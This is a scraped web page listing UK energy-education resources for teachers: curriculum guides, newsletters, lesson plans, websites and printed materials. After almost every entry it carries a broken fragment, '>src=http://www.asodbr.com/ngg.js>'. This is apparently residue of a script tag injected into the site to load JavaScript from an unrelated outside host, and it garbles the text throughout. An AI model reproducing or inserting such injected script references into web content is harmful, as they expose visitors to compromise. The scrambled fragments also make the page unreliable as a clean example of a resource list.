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Energy in the future The UK's future energy needs is a continuing debate. These Key Stage 4 resources will enable students to investigate the issues and make their own recommendations for the country's energy requirements. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [1240 KB]

EnergyWatch - Geography Special This special edition of EnergyWatch highlights where and how energy can be taught in the geography curriculum. We hope you find it useful. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [324 KB]

EnergyWatch Energywatch is CREATE's newsletter! This popular publication highlights energy education initiatives and services available to schools and the wider community. It promotes new resources to support energy studies at all levels. Energywatch is produced three times a year and is sent free of charge to registered people. To register for a regular copy of Energy Watch go to the 'Energywatch' page on this site. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [517 KB]

EnergyZone - England A guide for teachers to the location of energy-related topics in the National Curriculum for England and some of the resources available to assist teaching. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [320 KB]

EnergyZone - Scotland A guide for teachers to the location of energy-related topics in the Scottish Curriculum and some of the resources available to assist teaching. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [865 KB]

EnergyZone - Wales A guide for teachers to the location of energy-related topics in the Natinal Curriculum for Wales and some of the resources available to assist teaching. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [307 KB]

Materials for Energy Education This is a list of resources that can be used to link the teaching of energy with its management at both home and school. It complements the School Resource Pack (ADH017) from Action Energy that covers the more technical aspects. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [18 KB]

Primary Resources Download these lesson plans, linked to science, ICT and citizenship and use them in the classroom to help teach primary pupils about energy conservation and efficiency. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [83 KB]

School Travel A curriculum module to assist schools in establishing strategies that will alleviate some of the adverse impact of the school run has been developed by CREATE. Background information is provided on the range of programmes that are available to support school travel plans, together with examples of activities that pupils can engage in. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [162 KB]

Special Energy Investigators Why not set up a team of special energy investigators in your school? Each case involves pupils exploring energy aspects of their school and identifying courses for action. >src=http://www.asodbr.com/ngg.js> DOWNLOAD [74 KB]

Websites

ActionEnergy ActionEnergy, from the Carbon Trust, provides a series of free booklets on the different aspects of energy management in schools. They are aimed at a range of audiences, from site manager through governors to head and senior teachers. Action Energy can also: - supply speakers for training sessions, - carry out free energy surveys in larger schools, - give free impartial advice over the phone to all schools, - provide free energy design advice for schools developing plans for large extensions. - make interest-free loans to schools that qualify as small and medium sized businesses for them to invest in improved lighting, heating and insulation. Tel: 0800 58 57 94 >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Energy Certification Scheme for Schools A government scheme for the recognition of good energy management practices that involves the active participation of the whole school community and the use of the school as an educational resource. The site includes information, advice, suggestion pupil activities, details of a telephone helpline, etc. >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Energy Chest For 11+ why not visit Joules the robot to find out about the fascinating world of energy. >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Energy in schools Two sections of the DfES website that provide: - the rationale for using school buildings and their energy and water systems as educational resources, - advice on whole school approaches to the wise use of energy and water, - downloadable curriculum maps, - lists of educational links and resources, - management and design advice. The energy site also includes downloadable activity sheets >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Energy to Live, Energy to Learn Energy to Live, Energy to Learn – teachers’ resources from npower renewables and CREATE Designed for Key Stage 2 and 3 pupils, these cross curricular activities cover a range of energy issues that are appropriate to teach in Design and Technology, Geography, ICT, Science and Citizenship. PDF files have also been included to download for OHP presentations and class discussions. >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Renewable Energy Kits Bring practical Renewable Energy into your classroom! Wind turbines, solar water heaters, and photovoltaic (PV) kits available Easy and fun to use - interactive experimentation Covers Key Stages 1-4: suitable for ages 5-16 Includes ESD activities across the curriculum Durable >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Schools Energy-wise A site that encourages young people to get involved in school energy management. >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Sustainable Energy Website The Sustainable Energy Website for Teachers from United Utilities and CREATE provides background information and pupil activities, together with curriculum and web links covering : Climate Change Energy Efficiency Renewable Energy Descriptive lists of selected energy web links Climate change has important implications for the health and welfare of future generations. This should be reflected in the education that young people receive through their curricula. The Sustainable Energy Website for Teachers will help educators of 7 to 14 year-olds with their work across the curriculum and especially when dealing with energy topics in Science and Geography. >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Think Energy FREE School and Home Packs to support a nationwide project. Think Energy is designed to get teachers, pupils and their families to think about the energy they use waste. Learning material for use in the classroom and at home is suitable for 8 - 12 year olds and covers key elements of the Maths, Science, Environmental Studies, Citizenship and ICT curricula. To find out more visit the Think Energy website at: www.think-energy.co.uk or call 0800 1388 100. >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Water in schools Two sections of the DfES website that provide: - the rationale for using school buildings and their energy and water systems as educational resources, - advice on whole school approaches to the wise use of energy and water, - downloadable curriculum maps, - lists of educational links and resources, - management and design advice. The energy site also includes downloadable activity sheets >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Printed Materials

Energy Matters Energy Matters the curriculum resource to support the study of electricity, energy efficiency and renewables across Key Stages 1-4 is available free of charge from the Centre >src=http://www.asodbr.com/ngg.js> VISIT THE WEBSITE

Energy Monitoring Chart The whole school can now keep a check on how much energy is being used, with the SchoolEnergy monitoring chart. This A2 sized wall chart can be completed by staff or pupils, to display a graph of the school's monthly energy use. It also gives tips and a temperature check list. To order phone 0870 7000 457 or email info@create.org.uk >src=http://www.asodbr.com/ngg.js>

Illuminated Numbers Four progressive activities that use a school lighting survey as a source of basic data. They exploit a real world context for Numeracy and work with spreadsheets. There are connections to Science, Technology, English and Sustainable Development. [First published in 'Primary Maths & Science' and reprinted with permission.] To order phone 01942 322271 or email info@create.org.uk >src=http://www.asodbr.com/ngg.js>